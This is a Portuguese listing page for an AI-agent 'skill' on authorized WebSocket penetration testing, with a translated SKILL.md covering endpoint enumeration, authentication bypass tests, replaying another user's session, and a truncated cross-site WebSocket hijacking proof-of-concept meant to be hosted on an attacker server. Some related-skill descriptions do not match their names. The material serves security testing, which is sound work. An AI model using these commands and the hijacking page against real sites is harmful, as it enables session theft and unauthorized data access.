exploiting-websocket-vulnerabilities
Ensina seu agente de IA a proteger aplicações contra ataques e testar o código e achar erros antes dos usuários.
O que ela faz
Esta ferramenta ajuda a verificar se conexões de internet em tempo real (chamadas WebSockets) em um site ou aplicativo têm falhas de segurança. Ela procura por maneiras de acessar informações sem permissão ou executar comandos indesejados.
Quando usar
- ✓Quando você tem permissão para testar a segurança de um site.
- ✓Ao verificar aplicativos que usam chat ou notificações em tempo real.
- ✓Para garantir que as conexões de dados não possam ser interceptadas ou manipuladas.
Exemplo do que pedir para a IA
“Verifique as conexões WebSocket do site X para ver se é possível ler mensagens privadas sem ser o destinatário.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta simula diferentes tipos de ataques contra as conexões WebSocket. Ela tenta enviar mensagens maliciosas ou se conectar sem a devida autorização para encontrar vulnerabilidades.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-websocket-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-websocket-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades de WebSocket
Quando Usar
- Durante testes de penetração autorizados quando o aplicativo usa conexões WebSocket para recursos em tempo real
- Ao avaliar aplicativos de chat, notificações ao vivo, plataformas de negociação ou ferramentas de edição colaborativa
- Para testar endpoints de API WebSocket em busca de falhas de autenticação e autorização
- Ao avaliar fluxos de dados em tempo real em busca de vulnerabilidades de injeção
- Durante avaliações de segurança de aplicativos que usam APIs Socket.IO, SignalR ou WebSocket nativas
Pré-requisitos
- Autorização: Acordo de teste de penetração por escrito cobrindo testes de WebSocket
- Burp Suite Professional: Com capacidade de interceptação de WebSocket
- DevTools do Navegador: Aba Network para inspeção de frames WebSocket
- websocat: Cliente WebSocket de linha de comando (
cargo install websocat) - wscat: Cliente WebSocket Node.js (
npm install -g wscat) - Python websockets: Para scripts de ataques WebSocket personalizados (
pip install websockets)
Fluxo de Trabalho
Passo 1: Descobrir e Enumerar Endpoints WebSocket
Identifique conexões WebSocket no aplicativo.
# Check for WebSocket upgrade in response headers
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"
# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
Passo 2: Testar Autenticação WebSocket
Verifique se as conexões WebSocket exigem autenticação adequada.
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing
# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"
# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out
# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
# Try sending a message
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOF
Passo 3: Testar Cross-Site WebSocket Hijacking (CSWSH)
Verifique se o handshake WebSocket é vulnerável a ataques cross-site.
# Check Origin header validation on WebSocket upgrade
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Hospede em um servidor controlado pelo atacante -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// Isso se conecta ao WebSocket do alvo usando os cookies da vítima
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket conectado (usando a sessão da vítima)");
// Solicitar dados sensíveis através do WebSocket
…
Perguntas frequentes
O que são WebSockets?
São conexões persistentes entre o navegador do usuário e o servidor, permitindo a troca de dados em tempo real, como em chats ou jogos online.
Preciso de permissão para usar isso?
Sim, é crucial ter autorização por escrito antes de testar a segurança de qualquer sistema. Testes sem permissão são ilegais.
Quais ferramentas são necessárias?
Você precisará de ferramentas como Burp Suite, o console do navegador e alguns programas de linha de comando específicos para testar as conexões.
Detalhes
Descrição original do autor
Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5765
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC